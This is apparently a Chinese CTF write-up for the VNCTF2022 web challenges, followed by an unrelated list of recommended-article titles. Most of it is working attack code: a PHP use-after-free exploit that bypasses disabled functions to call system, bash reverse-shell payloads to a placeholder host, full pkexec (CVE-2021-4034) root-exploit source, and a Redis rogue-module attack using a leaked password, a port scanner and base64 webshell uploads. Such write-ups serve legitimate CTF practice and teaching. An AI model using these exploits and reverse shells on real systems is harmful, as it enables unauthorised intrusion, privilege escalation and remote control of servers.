class Pwn extends php_user_filter {private $abc, $abc_addr;private $helper, $helper_addr, $helper_off;private $uafp, $hfp;public function filter($in, $out, &$consumed, $closing) {if($closing) return;stream_bucket_make_writeable($in);$this->filtername = Pwn::alloc(STRING_SIZE);fclose($this->stream);$this->go();return PSFS_PASS_ON;}private function go() {$this->abc = &$this->filtername;$this->make_uaf_obj();$this->helper = new Helper;$this->helper->b = function($x) {};$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;$this->log("helper @ 0x%x", $this->helper_addr);$this->abc_addr = $this->helper_addr - CHUNK_SIZE;$this->log("abc @ 0x%x", $this->abc_addr);$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;$helper_handlers = $this->str2ptr(CHUNK_SIZE);$this->log("helper handlers @ 0x%x", $helper_handlers);$this->prepare_leaker();$binary_leak = $this->read($helper_handlers + 8);$this->log("binary leak @ 0x%x", $binary_leak);$this->prepare_cleanup($binary_leak);$closure_addr = $this->str2ptr($this->helper_off + 0x38);$this->log("real closure @ 0x%x", $closure_addr);$closure_ce = $this->read($closure_addr + 0x10);$this->log("closure class_entry @ 0x%x", $closure_ce);$basic_funcs = $this->get_basic_funcs($closure_ce);$this->log("basic_functions @ 0x%x", $basic_funcs);$zif_system = $this->get_system($basic_funcs);$this->log("zif_system @ 0x%x", $zif_system);$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;for($i = 0; $i < 0x138; $i += 8) {$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));}$this->write($fake_closure_off + 0x38, 1, 4);$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;$this->write($fake_closure_off + $handler_offset, $zif_system);$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;$this->write($this->helper_off + 0x38, $fake_closure_addr);$this->log("fake closure @ 0x%x", $fake_closure_addr);$this->cleanup();($this->helper->b)(CMD);}private function make_uaf_obj() {$this->uafp = fopen('php://memory', 'w');fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));for($i = 0; $i < STRING_SIZE; $i++) {fputs($this->uafp, "\x00");}}private function prepare_leaker() {$str_off = $this->helper_off + CHUNK_SIZE + 8;$this->write($str_off, 2);$this->write($str_off + 0x10, 6);$val_off = $this->helper_off + 0x48;$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);$this->write($val_off + 8, 0xA);}private function prepare_cleanup($binary_leak) {$ret_gadget = $binary_leak;do {--$ret_gadget;} while($this->read($ret_gadget, 1) !== 0xC3);$this->log("ret gadget = 0x%x", $ret_gadget);$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));$this->write(8, $ret_gadget);}private function read($addr, $n = 8) {$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);$value = strlen($this->helper->c);if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }return $value;}private function write($p, $v, $n = 8) {for($i = 0; $i < $n; $i++) {$this->abc[$p + $i] = chr($v & 0xff);$v >>= 8;}}private function get_basic_funcs($addr) {while(true) {// In rare instances the standard module might lie after the addr we're starting// the search from. This will result in a SIGSGV when the search reaches an unmapped page.// In that case, changing the direction of the search should fix the crash.// $addr += 0x10;$addr -= 0x10;if($this->read($addr, 4) === 0xA8 &&in_array($this->read($addr + 4, 4),[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {$module_name_addr = $this->read($addr + 0x20);$module_name = $this->read($module_name_addr);if($module_name === 0x647261646e617473) {$this->log("standard module @ 0x%x", $addr);return $this->read($addr + 0x28);}}}}private function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = $this->read($addr);$f_name = $this->read($f_entry, 6);if($f_name === 0x6d6574737973) {return $this->read($addr + 8);}$addr += 0x20;} while($f_entry !== 0);}private function cleanup() {$this->hfp = fopen('php://memory', 'w');fputs($this->hfp, pack('QQ', 0, $this->abc_addr));for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {fputs($this->hfp, "\x00");}}private function str2ptr($p = 0, $n = 8) {$address = 0;for($j = $n - 1; $j >= 0; $j--) {$address <<= 8;$address |= ord($this->abc[$p + $j]);}return $address;}private function ptr2str($ptr, $n = 8) {$out = '';for ($i = 0; $i < $n; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}private function log($format, $val = '') {if(LOGGING) {printf("{$format}\n", $val);}}static function alloc($size) {return str_shuffle(str_repeat('A', $size));}
}

反弹shellpayload

pwn("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");

发现权限不够,可以用pkexec提权

https://github.com/arthepsy/CVE-2021-4034

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>void fatal(char *f) {perror(f);exit(-1);
}void compile_so() {FILE *f = fopen("payload.c", "wb");if (f == NULL) {fatal("fopen");}char so_code[]="#include <stdio.h>\n""#include <stdlib.h>\n""#include <unistd.h>\n""void gconv() {\n""  return;\n""}\n""void gconv_init() {\n""  setuid(0); seteuid(0); setgid(0); setegid(0);\n""  static char *a_argv[] = { \"sh\", NULL };\n""  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n""  execve(\"/bin/sh\", a_argv, a_envp);\n""  exit(0);\n""}\n";fwrite(so_code, strlen(so_code), 1, f);fclose(f);system("gcc -o payload.so -shared -fPIC payload.c");
}int main(int argc, char *argv[]) {struct stat st;char *a_argv[]={ NULL };char *a_envp[]={"lol","PATH=GCONV_PATH=.","LC_MESSAGES=en_US.UTF-8","XAUTHORITY=../LOL","GIO_USE_VFS=",NULL};printf("[~] compile helper..\n");compile_so();if (stat("GCONV_PATH=.", &st) < 0) {if(mkdir("GCONV_PATH=.", 0777) < 0) {fatal("mkdir");}int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); if (fd < 0) {fatal("open");}close(fd);}if (stat("lol", &st) < 0) {if(mkdir("lol", 0777) < 0) {fatal("mkdir");}FILE *fp = fopen("lol/gconv-modules", "wb");if(fp == NULL) {fatal("fopen");}fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");fclose(fp);}printf("[~] maybe get shell now?\n");execve("/usr/bin/pkexec", a_argv, a_envp);
}

exp我是直接通过nc开的服务下的,当然也可以直接用file_put_contents函数上传

nc -lvnp 2333 > exp.c

解法二

通过redis加载恶意.so文件

REDIS0008�   redis-ver4.0.9�
redis-bits�@�ctime³��a�used-mem€� �aof-preamble� � �  sercetye_w4nt_a_gir1fri3nd��nR�K��S以上为secret.rdb的内容
猜测密码
ye_w4nt_a_gir1fri3nd

然后发现

redis端口不是默认的6379,需要我们自己去扫描,可以用如下脚本扫描

<?php
highlight_file(__FILE__);
for($i=0;$i<65535;$i++) {$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);if($ee2 === "Address already in use") {var_dump($i);}
}

base64编码一下,然后用file_put_contents上传

url?exp=file_put_contents('port.php',base64_decode($_POST[p]));
  p=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9

可以看到除了80端口还有一个8888端口,那肯定就是了,所以我们就要想办法连接redis

这时候本来想着用蚁剑上的redis插件去连接的,但是看了wp,发现蚁剑插件与redis交互是用的stream_get_contents(),但是这个函数被禁用了,所以我们就只能寻找其他可以与redis的函数

使用get_loaded_extensions()查看所有加载的拓展,看其中有没有能够与redis进行交互的

?exp=var_dump(get_loaded_extensions());
array(34) {string(4) "Corestring(4) "date"string(6) "libxml"string(7) "openssl"string(4) "pcre"string(7) "sqlite3"string(4) "zlib"string(5) "ctype"string(4) "curl"string(3) "dom"string(8) "fileinfo"string(6) "filter"string(3) "ftp"string(4) "hash"string(5) "iconv"string(4) "json"string(8) "mbstring"string(3) "SPL"string(3) "PDO"string(7) "session"string(5) "posix"string(10) "Reflection"string(8) "standard"string(9) "SimpleXML"string(10) "pdo_sqlite"string(4) "Phar"string(9) "tokenizer"string(3) "xml"string(9) "xmlreader"string(9) "xmlwriter"string(7) "mysqlnd"string(14) "apache2handler"string(5) "redis" <<<<<<<<<<string(6) "sodium"
}

可以看到这里有个redis拓展,很明显我们可以利用它,查阅一下使用文档

https://blog.csdn.net/raoxiaoya/article/details/100515541

https://learnku.com/articles/32113

可以看看这两篇文章,一篇讲拓展的基础使用,一篇文章讲述php-redis执行原生的redis指令

现在就是写个php脚本去加载恶意so文件了

$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/xxxxxxxxx/2333 <&1'");

然后就是通过file_put_contents上传恶意so文件了

https://github.com/n0b0dyCN/redis-rogue-server

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/
cat exp.so|base64

然后用rawCommand执行redis命令

成功连上,这里有个坑,就是post传参的时候记得要把它进行url编码一下,避免其中的特殊字符如=或者+等的影响

?exp=file_put_contents('1.php',base64_decode($_POST[p]));
<?php
highlight_file(__FILE__); $redis = new Redis(); $redis->connect('127.0.0.1',8888); $redis->auth('ye_w4nt_a_gir1fri3nd'); $redis->rawCommand('module','load','/var/www/html/exp.so'); $redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/xxxxxxxx/2333 <&1'");

后面的解法就跟前面一样了,使用pkexec提权

VNCTF2022 web全复现相关推荐

  1. 《web全栈工程师的自我修养》阅读笔记

    在买之前以为这本书是教你怎么去做一个web全栈工程师,以及介绍需要掌握的哪些技术的书,然而看的过程中才发现,是一本方法论的书.读起来的感觉有点像红衣教主的<我的互联网方法论>,以一些自己的 ...

  2. YOLOv3最全复现代码合集(含PyTorch/TensorFlow和Keras等)

    点击上方"CVer",选择"置顶公众号" 重磅干货,第一时间送达 前戏 2018年3月26日,CVer第一时间推文:YOLOv3:你一定不能错过 2019年3月 ...

  3. php web教程视频教程下载,Web全栈 PHP+React系列视频教程下载

    Web全栈 PHP+React系列视频教程下载 课程介绍: 此套Web全栈 PHP+React系列视频教程覆盖PHP.前端和区块链应用开发三大热门职位,教程对网络基础.前端基础(HTML CSSJav ...

  4. 【新年礼物】阿里资深p8教你学习Web全栈架构师!

    2017年,互联网行业风起云涌,IT工程师如果仅凭传统开发思维,无法突破固有知识体系,终将会被社会所淘汰.会跨平台混合应用开发.微信小程序.Web应用.pc以及手机炫酷网页的HTML5全栈开发工程师应 ...

  5. Web全栈架构师到底会些啥?凭什么年薪30万以上?

    2017年,互联网行业风起云涌,IT工程师如果仅凭传统开发思维,无法突破固有知识体系,终将会被社会所淘汰.会跨平台混合应用开发.微信小程序.Web应用.pc以及手机炫酷网页的HTML5全栈开发工程师应 ...

  6. web全栈架构师所需技术栈_统一架构–一种构建全栈应用程序的简单方法

    web全栈架构师所需技术栈 Modern full-stack apps – like single-page apps or mobile apps – usually have six layer ...

  7. 用好CloudIDE提升Web全栈编码效率

    学了Web全栈开发,就得动手实践,要动手,得先有开发环境. 比如要开发python代码,是先在自己机器上安装python3,然后安装pycharm社区版 其实这些事情,说难不难,说容易也不容易 说难, ...

  8. 开课吧python全栈靠谱么-杭州Web全栈

    Web全栈招生简章 开课吧简介 开课吧,中国有口皆碑的互联网人学习平台,为互联网从业者及潜在从业者提供O2O职业学习.就业.职业成长服务,让学习者收获互联网从业技能和能力,从而实现从"校园& ...

  9. Web全栈工程师技能树梳理

    FSE-SKILL-TREE Web全栈工程师技能树梳理 各个分支正在细化中,欢迎Star.PR. 点击链接加入群[Web全栈QQ群]:https://jq.qq.com/?_wv=1027& ...

最新文章

  1. hbid新建html标签不能用,hbhdjtx.html
  2. python入门指南 小说-Python 入门指南
  3. HAproxy - 铁钉 - 51CTO技术博客
  4. ComponentBase.createMetaData and manifest.json oRoute
  5. P6800-[模板]Chirp Z-Transform【NTT】
  6. Taro+react开发(17)--注意编译
  7. mysql+odbc+ado_MFC ado+mysql+odbc技术分享
  8. Transformer新内核Synthesizer:低复杂度的attention代替点乘式的注意力机制
  9. [Perl系列—] 2. Perl 中的引用用法
  10. MySQL查询优化和索引优化学习笔记
  11. 【代码】获取日期所在月份的 月初、月末的日期
  12. 解决fatal: could not get a repository handle
  13. PS实用小技巧--修改图片上的文字
  14. webpack (七) -配置sourceMap——为了更容易地追踪代码错误和警告
  15. 分享简单的记账方法,轻松搜索账目查看
  16. 大数据正在推动新零售发展
  17. 大数据基础篇~JavaSE第三章
  18. EXCEL考勤表自动求出每天工作总时长
  19. SAP那些事-实战篇-22-关于公司间业务的总结
  20. 自定义View之自定义支付宝密码输入控件

热门文章

  1. android 通过wifi调用打印机
  2. 惠普电脑u盘重装系统步骤_解决惠普电脑u盘重装系统win10教程
  3. Peppol电子发票在欧洲税收管理中的推广及发展
  4. Android端使用FFmpeg进行视频画面拼接
  5. linux服务器视频转码,Centos7视频转码服务器
  6. Android大疆无人机对接大牛直播sdk视频H.264码推流
  7. DNA 16. SCI 文章研究表型与基因型之间的关系工具(TASSEL)
  8. STM32CubeMX学习教程之一:GPIO输出之跑马灯
  9. 查看san交换机端口流量_mrtg监控H3C交换机端口流量实例
  10. 天地图在vue中的应用 删除指定的标注